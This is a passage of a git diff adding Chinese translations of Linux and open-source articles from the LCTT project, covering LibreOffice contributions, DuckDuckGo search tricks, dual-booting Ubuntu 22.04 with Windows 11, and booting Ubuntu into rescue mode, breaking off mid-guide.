强企业中,超过 80% 都在使用 Kafka。它部署在许多垂直行业,如金融服务、娱乐等。虽然 Kafka 起初只是一种简单的消息服务,但它已凭借行业级的流处理能力,成为了大数据生态系统的一环。对于那些喜欢托管解决方案的企业,Confluent 提供了基于云的 Kafka 服务,只需支付订阅费即可。(LCTT 译注:Confluent 是一个基于 Kafka 的商业公司,它提供的 Confluent Kafka 在 Apache Kafka 的基础上,增加了许多企业级特性,被认为是“更完整的 Kafka”。) + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2021/11/apache-kafka-asynchronous-messaging-for-seamless-systems/ + +作者:[Krishna Mohan Koyya][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/krishna-mohan-koyya/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Digital-backgrund-connecting-in-globe.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-1-Asynchronous-messaging.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-2-Message-distribution-among-the-partitions.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-3-Command-line-producer.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-4-Command-line-consumer.jpg +[5a]: https://kafka.apache.org/downloads +[6]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-5-Kafka-based-architecture.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-6-Dashboard-Terminal-1.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-7-Dashboard-Terminal-2.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2021/09/Figure-8-Dashboard-Terminal-3.jpg diff --git a/published/202206/20220510 6 easy ways to make your first open source contribution with LibreOffice.md b/published/202206/20220510 6 easy ways to make your first open source contribution with LibreOffice.md new file mode 100644 index 0000000000..de5efae413 --- /dev/null +++ b/published/202206/20220510 6 easy ways to make your first open source contribution with LibreOffice.md @@ -0,0 +1,58 @@ +[#]: subject: "6 easy ways to make your first open source contribution with LibreOffice" +[#]: via: "https://opensource.com/article/22/5/first-open-source-contribution-libreoffice" +[#]: author: "Klaatu https://opensource.com/users/klaatu" +[#]: collector: "lkxed" +[#]: translator: "lkskjjk" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14719-1.html" + +使用 LibreOffice 进行首次开源贡献的 6 种简单方法 +====== + +> 2022 年 5 月是 LibreOffice 月。这里有一些简单的方法来完成你的第一个开源贡献。 + +![](https://img.linux.net.cn/data/attachment/album/202206/16/230450d6u6u9hb1q9wx69c.jpg) + +“参与”开源似乎有点令人困惑。你从哪里开始?如果你不会编程怎么办?你取得谁的同意?别人怎么知道你做出了贡献,会有人关心吗? + +这类问题实际上有答案(你自己选择就行;没关系;不用谁的同意;你告诉他们;是的),但在 2022 年 5 月,有一个简单的答案:LibreOffice。5 月是参与 LibreOffice 及其管理机构 文档基金会The Document Foundation 的月份。他们正在邀请各种各样的贡献者以六种不同的方式提供帮助,其中只有一种与代码有任何关系。无论你的技能如何,你都可以找到一种方法来帮助这个世界上最好的办公套件。 + +### 为 LibreOffice 做出贡献的 6 种方式 + +以下是你可以做的: + +* Handy Helper:在 [Ask LibreOffice][3] 上回答其他 LibreOffice 用户的问题。如果你是 LibreOffice 的狂热用户,并且认为你有可以帮助他人的有用提示和技巧,那么这就是你一直在等待的角色。 +* First Responder:当错误报告得到不止一个用户确认时会更好。如果你擅长安装软件(有时错误报告是针对比你通常使用的版本更旧的版本),那么请访问 [LibreOffice Bugzilla][4] 并查找尚未确认的新错误。当你找到时,试着复制所报告的内容。假设你可以做到这一点,请添加一条评论,例如 “CONFIRMED on Linux (Fedora 35) and LibreOffice 7.3.2”。 +* Drum Beater:开源项目很少有大公司投入营销资金来推广它们。如果所有声称喜欢开源的公司都能提供帮助,那就太好了,但不是所有的公司都这样做,那么为什么不发出你的声音呢?在社交媒体上告诉你的朋友你为什么喜欢 LibreOffice,或者你用它做什么(当然还要加上#libreoffice 标签。) +* Globetrotter:LibreOffice 已经支持多种不同的语言,但并不是所有语言。 LibreOffice 正在积极开发中,因此它的界面翻译需要保持最新。[在这里参与][5]。 +* Docs Doctor:LibreOffice 有在线帮助和用户手册。如果你擅长向其他人解释事情,或者如果你擅长校对其他人的文档,那么你应该联系 [文档团队][6]。 +* Code Cruncher:你可能不会立即深入了解 LibreOffice 的代码库并进行重大更改,但这通常不是项目所需要的。如果你知道如何编码,那么你可以[按照此 wiki 页面上的说明][8]加入[开发人员社区][7]。 + +### 免费贴纸 + +我不想提前提到这一点,因为很明显你参与 LibreOffice 只是因为你喜欢参与一个优秀的开源项目。但是,你最终会发现,所以我不妨告诉你:通过为 LibreOffice 做出贡献,你可以注册然后从文档基金会获得免费贴纸。你肯定一直想 [装饰你的笔记本电脑吧][2]? + +不过,不要被战利品的承诺分心。如果你对参与开源感到困惑但很兴奋,那么这是一个很好的机会。它代表了你参与开源的一般方式:寻找需要做的事情,去做它,然后你和其他人讨论它,这样你就可以获得下一步可以做什么的想法。经常这样做,你就会找到进入社区的方式。最终,你不会再纠结于如何参与开源,因为你已经忙于贡献! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/first-open-source-contribution-libreoffice + +作者:[Klaatu][a] +选题:[lkxed][b] +译者:[lkskjjk](https://github.com/lkskjjk) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/klaatu +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/dandelion_zoom.jpg +[2]: https://opensource.com/business/15/11/open-source-stickers +[3]: http://ask.libreoffice.org/ +[4]: https://bugs.documentfoundation.org/buglist.cgi?bug_status=__open__&content=&no_redirect=1&order=changeddate%20DESC%2Cpriority%2Cbug_severity&product=&query_based_on=&query_format=specific +[5]: https://www.libreoffice.org/community/localization/ +[6]: https://www.libreoffice.org/community/docs-team +[7]: https://www.libreoffice.org/community/developers/ +[8]: https://wiki.documentfoundation.org/Development/GetInvolved diff --git a/published/202206/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md b/published/202206/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md new file mode 100644 index 0000000000..af80f8bfac --- /dev/null +++ b/published/202206/20220514 Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine.md @@ -0,0 +1,236 @@ +[#]: subject: "Hidden Features! 25 Fun Things You Can Do With DuckDuckGo Search Engine" +[#]: via: "https://itsfoss.com/duckduckgo-easter-eggs/" +[#]: author: "sreenath https://itsfoss.com/author/sreenath/" +[#]: collector: "lkxed" +[#]: translator: "TravinDreek" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14696-1.html" + +隐藏功能!在 DuckDuckGo 搜索引擎中,你可以做这 25 件有趣的事情 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/11/142806ebr5xtzgcwcr5955.jpg) + +比起无处不在的 Google,[有些搜索引擎替代品更加尊重隐私][1],而 DuckDuckGo 就是其中之一。 + +最近,这个搜索引擎有了很大的改进,搜索一般网页十分顺畅。在搜索本地地点方面,则还远不及 Google。 + +不过,DuckDuckGo(简称为 DDG)有一些很酷的功能,大部分用户还没注意到。如果你是一位 DDG 狂热粉,你可能会喜欢用这些小技巧来提升你的搜索体验。 + +### 1、跳转到特定网页 + +在你最喜欢的网站名称前输入 `!` 即可直接进入这个网站。则类似于 Google 的 “运气不错” 功能,但用 DDG 的话来说,这就叫 “叹号搜索”。 + +有一些网站有缩写形式,开始输入时便会提示。 + +![duckduckgo bang feature][2] + +在网站名后面输入搜索词,就可以直接抵达那个网站的搜索结果处。 + +### 2、文本转 ASCII + +Figlet 是一个 [有趣的 Linux 命令][3],可以将任意文本转换为漂亮的 ASCII 画格式。 + +在任意搜索词前输入 `figlet`,就会显示 ASCII 输出。无需打开终端。 + +![Figlet in DDG][4] + +### 3、检查社交媒体的状态 + +在某个人的 Twitter 名前加上 `@`,就会显示 TA 的状态(关注者等)。 + +![Itsfoss Twitter][5] + +### 4、生成强密码 + +输入 `password` 并加上需要的字符数,就可以生成一个独特的强密码。 + +![Generating password in DuckDuckGo][6] + +### 5、生成随机密码短语 + +输入 `random passphrase` 可生成一段密码短语,通常长度为 4 个词。 + +![Random Passphrase][7] + +### 6、获取一份速查表 + +在需要看速查表的搜索词后面,可输入 `cheatsheet`。如果要搜索的东西有速查表,就会立即显示在搜索页面。 + +![Vim Cheatsheet][8] + +### 7、通过色码获取颜色 + +输入 `color` 并加上你想查的颜色的十六进制码,便可显示这个颜色。 + +![Color][9] + +### 8、生成随机数 + +搜索 `random number` 会输出一个 0 到 1 之间的随机数。 + +![Random Number][10] + +你也可以指定需要的范围。 + +![Random Number between 1 and 1000][11] + +### 9、转换为二进制等形式 + +输入一个二进制数并加上 `binary`,可将其从二进制转换为十进制。 + +![Binary to Decimal][12] + +类似地,它也能用于十六进制和八进制,但我不清楚它们的处理逻辑。 + +### 10、寻找韵词 + +输入 `what rhymes with` 并带上要找同韵词的词语。作诗能力变强了,对吧? + +![What rhymes with rain][13] + +### 11、获取拉马努金数、圆周率等常数 + +输入想获取数值的常数名,便可在搜索结果中看到它。 + +![Ramanujan Number][14] + +### 12、查询现在谁在太空中 + +输入 `people in space` 获取当前在太空中的人员名单。同时还会显示他们在太空中居住的时间。 + +![People in Space][15] + +### 13、查询网页是否无法访问 + +如果你想知道某个网站是你无法访问了,还是大家都无法访问了,只需在搜索词中输入 `is xyz.com down`。 + +![Is down?][16] + +### 14、获取特定话题的名言 + +输入一个词并带上 `quotes`,就会显示与这个词相关的名言。 + +![Get quotes in DDG][17] + +### 15、获取占位文本 + +搜索 `lorem ipsum` 就可以获取 5 段占位文本。对 Web 开发者应该会有用。 + +![Lorem ipsum][18] + +### 16、获取任意月份的日历 + +在年、月、日后面输入 `calendar`,就会为你显示该月份的交互式日历。 + +![Calendar][19] + +### 17、生成二维码 + +在文字、链接等后面输入 `qr`,就会生成对应的二维码。 + +![QRCode][20] + +### 18、获取一些 CSS 动画 + +搜索 `css animations` 以获取一些 CSS 动画例子。 + +![CSS Animations][21] + +### 19、展开短链接 + +如果有一个 Bitly 链接或其他短链接,但不确定它指向哪里,不必再跳转到充满垃圾信息的网页了,只需展开短链接,看看真正的网址。 + +在短链接后面输入关键词 `expand`,就会显示真正的目标 URL。 + +![Expand Link][22] + +### 20、获取特殊字符的 HTML 代码 + +搜索 `html chars`,可以获取一份很长的列表,上面有 HTML 实体及其描述,按下后会在结果中显示更多信息。 + +![HTML Chars][23] + +### 21、我用这东西干啥? + +这功能没什么用。如果你输入 `why should I use this?` ,它就会在搜索结果顶部显示 `cause it's awesome`。显然,DuckDuckGo 在说他自己。 + +![Why should I use this?][24] + +### 22、转换大小写 + +大小写都可转换。`lowercase <大写搜索词>` 就会显示小写的结果 + +![Lowercase][25] + +`uppercase <小写搜索词>` 就会显示大写的结果。 + +![Uppercase][26] + +### 23、编码 URL + +搜索 `encode` 并加上 URL,就会给出编码后的结果 + +![URL Encode][27] + +### 24、Motherboard + +搜索 `Motherboard` 就会看见左侧的 DuckDuckGo 的 logo 变了。它会显示选好的几个随机 logo。 + +![Motherboard][28] + +### 25、获取 HTML 色码 + +搜索 `color codes` 便可获得一份颜色表。一样,这个功能多为 Web 开发者和设计师所用。 + +![Color Codes][29] + +### 还有很多别的··· + +我的伙伴 Sreenath 想到本贴的主意。他说 DuckDuckGo 中还有许多 “彩蛋”,我觉得没错。但全部列出来有诸多不便。 + +如果你知道更多这样有趣的 DDG 搜索功能,请在评论中分享。如果你又发现了你喜欢的搜索功能,也提出来吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/duckduckgo-easter-eggs/ + +作者:[sreenath][a] +选题:[lkxed][b] +译者:[Peaksol](https://github.com/TravinDreek) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sreenath/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/privacy-search-engines/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/duckduckgo-bang-feature-800x449.png +[3]: https://itsfoss.com/funny-linux-commands/ +[4]: https://itsfoss.com/wp-content/uploads/2022/05/figlet-800x272.png +[5]: https://itsfoss.com/wp-content/uploads/2022/05/itsfoss-twitter-800x278.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/05/password-30-800x185.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/05/random-pqssphrase-800x179.png +[8]: https://itsfoss.com/wp-content/uploads/2022/05/vim-cheatsheet-800x367.png +[9]: https://itsfoss.com/wp-content/uploads/2022/05/color-800x289.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/05/random-number-800x235.png +[11]: https://itsfoss.com/wp-content/uploads/2022/05/random-number-between-1-and-1000-800x244.png +[12]: https://itsfoss.com/wp-content/uploads/2022/05/binary-800x184.png +[13]: https://itsfoss.com/wp-content/uploads/2022/05/What-rhymes-with-rain-800x257.png +[14]: https://itsfoss.com/wp-content/uploads/2022/05/ramanujan-number-800x238.png +[15]: https://itsfoss.com/wp-content/uploads/2022/05/people-in-space-800x313.jpg +[16]: https://itsfoss.com/wp-content/uploads/2022/05/is-down-800x204.png +[17]: https://itsfoss.com/wp-content/uploads/2022/05/life-quotes-800x303.png +[18]: https://itsfoss.com/wp-content/uploads/2022/05/lorem-ipsum-800x227.png +[19]: https://itsfoss.com/wp-content/uploads/2022/05/calendar-800x331.png +[20]: https://itsfoss.com/wp-content/uploads/2022/05/qrcode-800x255.png +[21]: https://itsfoss.com/wp-content/uploads/2022/05/css-animations-800x385.jpg +[22]: https://itsfoss.com/wp-content/uploads/2022/05/expand-shortened-link-ddg-800x209.png +[23]: https://itsfoss.com/wp-content/uploads/2022/05/html-chars-800x174.png +[24]: https://itsfoss.com/wp-content/uploads/2022/05/why-should-i-use-this-800x160.png +[25]: https://itsfoss.com/wp-content/uploads/2022/05/lowercase-800x179.png +[26]: https://itsfoss.com/wp-content/uploads/2022/05/uppercase-800x185.png +[27]: https://itsfoss.com/wp-content/uploads/2022/05/url-encode-800x177.png +[28]: https://itsfoss.com/wp-content/uploads/2022/05/motherboard.png +[29]: https://itsfoss.com/wp-content/uploads/2022/05/color-codes-800x554.png diff --git a/published/202206/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md b/published/202206/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md new file mode 100644 index 0000000000..4004bcb938 --- /dev/null +++ b/published/202206/20220516 How to Dual Boot Ubuntu 22.04 LTS and Windows 11.md @@ -0,0 +1,196 @@ +[#]: subject: "How to Dual Boot Ubuntu 22.04 LTS and Windows 11" +[#]: via: "https://www.linuxtechi.com/dual-boot-ubuntu-22-04-and-windows-11/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14699-1.html" + +如何双启动 Ubuntu 22.04 LTS 和 Windows 11 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/12/110546fff10ck07e2p0z2f.jpg) + +嗨,伙计们,在这篇指南中,我们将演示如何在 Windows 11 的之外配置 Ubuntu 22.04 LTS(Jammy Jellyfish)的双启动设置。 + +为使其能工作,你需要在你的计算机上已经安装好了 Windows 11 。接下来,你将需要在你的硬盘驱动器上创建一个单独的分区,你将在此分区上安装 Ubuntu 22.04 。我们将包含这点知识,因此不要担心。 + +**前置条件:** + +在设置双启动前,这些是你所需要的: + +* 一个 Ubuntu 22.04 的可启动 USB 驱动器,你可以转到 [Ubuntu 22.04 下载页面][1] 来下载 Ubuntu 22.04 的 ISO 镜像文件。在 ISO 镜像文件到位后,拿一个 16GB USB 驱动器,并使用 Rufus 应用程序来使其可启动。 +* 快速稳定的互联网连接 + +### 步骤 1、在你的硬盘驱动器上创建一个可用的分区  + +正如介绍中所提到的,我们首先需要在硬盘驱动器上创建一个单独的分区,我们将在其中安装 Ubuntu 22.04 。 + +因此,通过按下 `Windows + R` 组合键来打开磁盘管理器实用程序。 + +在对话框中,输入 `diskmgmt.msc` ,并按下回车键。 + +![][2] + +磁盘管理disk management控制台将显示当前磁盘分区,如你将在下面所看到的一样。我们将通过压缩 “卷 E” 来创建一个用于安装 Ubuntu 的分区。这在你的安装过程中可能有所不同,但是只需要跟着做,你就会理解其中的大体意思。 + +![][3] + +因此,在你想要压缩的磁盘驱动器卷上点击鼠标右键,并在弹出的菜单中选择 压缩卷Shrink 选项。 + +![][4] + +将会出现一个弹出对话框,如下所示。具体指定压缩的控件大小(以 MB 为单位),并单击 压缩卷Shrink 。 + +这是指定给 Ubuntu 22.04 安装所用的空间。 + +![][5] + +在缩小磁盘空间后,它将显示为 未分配Unallocated可用空间Free Space,如图所示。 + +![][6] + +随着有了可用空间,现在将可启动 USB 驱动器插入到你的 PC ,并重新启动你的系统。此外,要确保访问 BIOS 设置,并修改启动优先级,来使 USB 驱动器成为第一优先级。保存 BIOS 更改并继续启动。 + +### 步骤 2、开始安装 + +在第一个屏幕中,你将得到如图所示的 GRUB 菜单。选择第一个选项 尝试或安装 UbuntuTry or Install Ubuntu ,并按下 回车键ENTER 按键。 + +![][7] + +Ubuntu 22.04 将开始加载,如下所示。这最多需要一分钟。 + +![][8] + +此后,安装程序向导将弹出,向你提供两个选项: 尝试 UbuntuTry Ubuntu安装 UbuntuInstall Ubuntu。因为我们的使命是安装 Ubuntu ,所以选择后者。 + +![][9] + +接下来,选择你的首选键盘布局,并单击 继续Continue 按钮。 + +![][10] + +在 更新和其它软件Updates and Other Software 步骤中,选择 正常安装Normal Installation 以便安装 Ubuntu的 GUI 版本,通过勾选其它剩余选项来允许下载更新和安装第三方的针对于图像、WIFI 硬件和其它实用程序的软件包。 + +接下来,单击 继续Continue 按钮。 + +![][11] + +下一步提供两个安装选项。第一个选项 - 清除整个磁盘并安装 UbuntuErase disk and install Ubuntu – 完全地擦除你的驱动器并安装。但是由于这是一个双启动设置,这个选项对于你现有安装的 Windows 系统来说会是灾难性的。 + +因此,选择 其它选项Something else,单击 继续Continue 按钮。 + +![][12] + +分区表将显示所有现有的磁盘分区。到目前为止,我们仅有 NTFS 分区和我们之前压缩出来的可用分区。 + +针对 Ubuntu 22.04 ,我们将创建下面的分区: + +* `/boot`        –        1 GB +* `/home`        –        10 GB +* `/`            –        12 GB +* 交换分区        –         2 GB +* EFI           –       300 MB + +为开始使用这些分区,单击 可用空间Free Space分区下面的 “+” 符号。 + +![][13] + +如图显示填写 `/boot` 分区的详细信息,然后单击 确定OK 按钮。 + +![][14] + +接下来,具体指定 `/home` 分区,并单击 确定OK 按钮。 + +![][15] + +接下来,定义 `/`(根)分区,并单击 确定OK 按钮。 + +![][16] + +为定义交换空间,设置大小,并在 使用为Use as:选项中选择 交换区域Swap area。 + +![][17] + +最后,如果你正在使用 UEFI 启动模式,那么创建一个 EFI 系统分区。我们将分配 300MB 到 EFI 分区。 + +![][18] + +下图是一份我们的分区表的分区摘要: + +![][19] + +为继续安装,单击 现在安装Install Now。在下图显示的弹出窗口中,单击 继续Continue来保存更改到磁盘。 + +![][20] + +接下来,安装程序向导将自动侦测出你的位置,只需要单击 继续Continue 按钮。 + +![][21] + +接下来,通过具体指定姓名、计算机的名称和密码来创建一个登录用户。接下来单击 继续Continue 按钮。 + +![][22] + +此时,安装程序向导将复制所有的 Ubuntu 文件和软件包到手动创建的硬盘驱动器分区,并安装必要的软件包。 + +这个过程将需要很长一段时间,因此,要有耐心。在我们的实例中,它需要大约 30 分钟。 + +![][23] + +在安装过程完成后,单击 立刻重新启动Restart Now 按钮来重新启动系统。 + +![][24] + +在这时,移除你的可启动 USB 驱动器,并按下回车键。 + +![][25] + +在系统重新启动时,你将找到包括 Ubuntu 和 Windows 11 在内的各种选项。 + +选择 “Ubuntu” 来启动到你的新 Ubuntu 22.04 安装。要启动到 Windows 11,请选择标有 Windows 恢复环境Windows Recovery Environment 的条目。 + +![][26] + +就这样。我们演示了如何双启动 Windows 11 和 Ubuntu 22.04。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/dual-boot-ubuntu-22-04-and-windows-11/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://releases.ubuntu.com/22.04/ +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/05/diskmgmt-msc-command-windows11.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Disk-Management-Console-Windows11.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Shrink-Volume-Windows11.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Shrink-Volume-Size-Windows11.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Free-Space-Disk-Management-Console-Windows11.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Select-Install-Ubuntu-Linux.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Ubuntu-22-04-Loading-Screen.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Choose-Install-Ubuntu-Linux.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Keyboard-Layout-Ubuntu-22-04.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Normal-Installation-Option-During-Ubuntu-22-04-Installation.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Something-else-ubuntu-installation.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Select-Free-Space-for-Ubuntu-22-04-Installation.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Boot-Partition-Ubuntu-22-04-LTS.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Home-Partition-For-Ubuntu-22-04.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Root-Partition-For-Ubuntu-22-04.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Swap-Area-Ubuntu-22-04.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/05/EFI-System-Partition-Ubuntu-22-04.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Install-Now-Ubuntu-22-04.png +[20]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Write-Changes-Disk-Ubuntu-22-04.png +[21]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Location-for-Ubuntu-22-04-Installation.png +[22]: https://www.linuxtechi.com/wp-content/uploads/2022/05/UserName-Hostname-Ubuntu-22-04-lts-Installation.png +[23]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Installation-Progress-Ubuntu-22-04.png +[24]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Restart-After-Ubuntu-22-04-LTS-Installation.png +[25]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Remove-Installation-Media-after-Ubuntu-22-04-Installation.png +[26]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Dual-Boot-Grub-Bootloader-Screen-Ubuntu-22-04.png diff --git a/published/202206/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md b/published/202206/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md new file mode 100644 index 0000000000..77459650a8 --- /dev/null +++ b/published/202206/20220518 How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 - 20.04 - 18.04.md @@ -0,0 +1,276 @@ +[#]: subject: "How To Boot Into Rescue Mode Or Emergency Mode In Ubuntu 22.04 / 20.04 / 18.04" +[#]: via: "https://ostechnix.com/how-to-boot-into-rescue-mode-or-emergency-mode-in-ubuntu-18-04/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14709-1.html" + +详解在 Ubuntu 中引导到救援模式或紧急模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/14/153639n33fg3e2gc7xnvv3.jpg) + +这篇教程将介绍如何在 Ubuntu 22.04、20.04 和 18.04 LTS 版本中引导到 救援Rescue 模式或 紧急Emergency 模式。 + +> 你可能已经知道,在 RHEL 7 、RHEL 8 、Ubuntu 16.04 LTS 及其更新的版本的 Linux 发行版中 运行等级Runlevels 已经被 系统目标Systemd target 所替代。更多关于 运行等级Runlevel系统目标Systemd targets 的信息,参考 [这篇指南][1] 。 + +这篇指南是针对 Ubuntu 编写的,但是,下面所给的步骤应该也适用于大多数使用 systemd 作为默认服务管理器的 Linux 发行版。 + +在进入主题前,让我们简单的理解:什么是 救援rescue 模式 和 紧急Emergency 模式,以及这两种模式的目的是什么。 + +### 什么是救援模式? + +在 Linux 发行版中,救援模式等效于使用 SysV 作为默认的服务器管理器的 单用户single user 模式。在救援模式中,将挂载所有的本地文件系统,将仅启动一些重要的服务。但是,不会启动一般的服务(例如,网络服务)。 + +救援模式在不能正常引导系统的情况下是很有用的。此外,我们可以在救援模式下执行一些重要的救援操作,例如,[重新设置 root 密码][2] 。 + +### 什么是紧急模式? + +与救援模式相比,在紧急模式中,不会启动任何的东西。不会启动服务、不会挂载挂载点、不会建立套接字、什么都不会启动。你将所拥有的只是一个 **原始的 shell** 。紧急模式适用于调试目的。 + +首先,我们将看到如何在 Ubuntu 22.04 和 20.04 LTS 发行版中引导到救援模式或紧急模式。在 Ubuntu 22.04 和 20.04 LTS 中的过程是完全相同的! + +### 在 Ubuntu 22.04 / 20.04 LTS 中引导到救援模式 + +我们可以使用两种方法来引导到救援模式。 + +#### 方法 1 + +打开你的 Ubuntu 系统。在 BIOS 徽标出现后,按下 `ESC` 按键来显示 GRUB 菜单。 + +在 GRUB 菜单中,选择第一项,并按下 `e` 按键来编辑它。 + +![GRUB Menu In Ubuntu 22.04 / 20.04 LTS][3] + +按下 `↓` 按键,并找到以单词 `linux` 开头的一行代码,并在其结尾处添加下面的一行代码。为到达其结尾处,只需要按下 `Ctrl + e` 组合键,或使用你键盘上的 `END` 按键或 `←`/`→` 按键。 + +``` +systemd.unit=rescue.target +``` + +![Edit Grub Boot Menu Entries To Enter Into Rescue Mode In Ubuntu 22.04 / 20.04 LTS][4] + +在添加上面的代码行后,按下 `Ctrl + x` 组合键或按下 `F10` 按键来引导到救援模式。 + +数秒后,你将作为 root 用户来登录到救援模式(即单用户模式)。将会提示你按下回车键来进入维护。 + +下图是 Ubuntu 22.04 / 20.04 LTS 系统的救援模式的样子: + +![Boot Into Rescue Mode In Ubuntu 22.04 / 20.04 LTS][5] + +现在,在救援模式中做你想做的任何事。在救援模式中,在你执行任何操作前,你可能需要以 读/写模式来挂载根(`/`)文件系统。 + +``` +mount -n -o remount,rw / +``` + +![Mount Root File System In Read Write Mode In Ubuntu 22.04 / 20.04 LTS][6] + +在完成后,按下 `Ctrl + d` 组合键来引导到正常模式。或者,你可以输入下面的任意一个命令来引导到正常模式。 + +``` +systemctl default +``` + +或者, + +``` +exit +``` + +如果你想重新启动系统,而不是引导到正常的模式,输入: + +``` +systemctl reboot +``` + +#### 方法 2 + +在这种方法中,你不需要编辑 GRUB 启动菜单项目。 + +打开系统电源,并从 GRUB 启动菜单中选择 Ubuntu 高级选项Advanced options for Ubuntu。 + +![Choose Advanced Options For Ubuntu From Grub Boot Menu][7] + +接下来,你将看到一个带有内核版本的可用的 Ubuntu 版本的列表。在 Ubuntu 中的 GRUB 启动菜单中选择 恢复模式Recovery mode 。 + +![Choose Recovery Mode In Grub Boot Menu In Ubuntu 22.04 / 20.04 LTS][8] + +数秒后,你将看到 Ubuntu 的 恢复Recovery 菜单。从恢复菜单中,选择 进入 root 的 shell 提示符Drop to root shell prompt 选项 ,并按下回车键。 + +![Enter Into Root Shell Prompt In Ubuntu 22.04 / 20.04 LTS][9] + +现在,你将进入维护。 + +![Ubuntu Maintenance Mode][10] + +通过输入下面的命令来 以读/写模式的方式 来挂载根(`/`)文件系统: + +``` +mount -n -o remount,rw / +``` + +![Mount Root File System In Read Write Mode In Ubuntu][11] + +在救援模式中做你想做的任何事。 + +在完成后,输入 `exit` 来返回到恢复菜单。 + +``` +exit +``` + +最后,选择 救援正常启动Resume normal boot 选项,并按下回车键。 + +![Boot Into Normal Mode In Ubuntu][12] + +再次按下回车键来退出恢复模式,并继续引导到正常模式。 + +![Exit The Recovery Mode In Ubuntu][13] + +如果你不想引导到正常模式,从救援模式中输入 `reboot` 并按下回车键来重新启动你的系统。 + +### 在 Ubuntu 22.04 / 20.04 LTS 中引导到紧急模式 + +当 GRUB 菜单出现时,按下 `e` 按键来编辑它。 + +![GRUB Menu In Ubuntu 22.04 / 20.04 LTS][14] + +找到以单词 `linux` 开头的一行代码,并在其结尾处添加下面的一行代码: + +``` +systemd.unit=emergency.target +``` + +![Edit Grub Boot Menu Entries To Enter Into Emergency Mode In Ubuntu 22.04 / 20.04 LTS][15] + +在添加上面的代码行后,按下 `Ctrl + x` 组合键,或按下 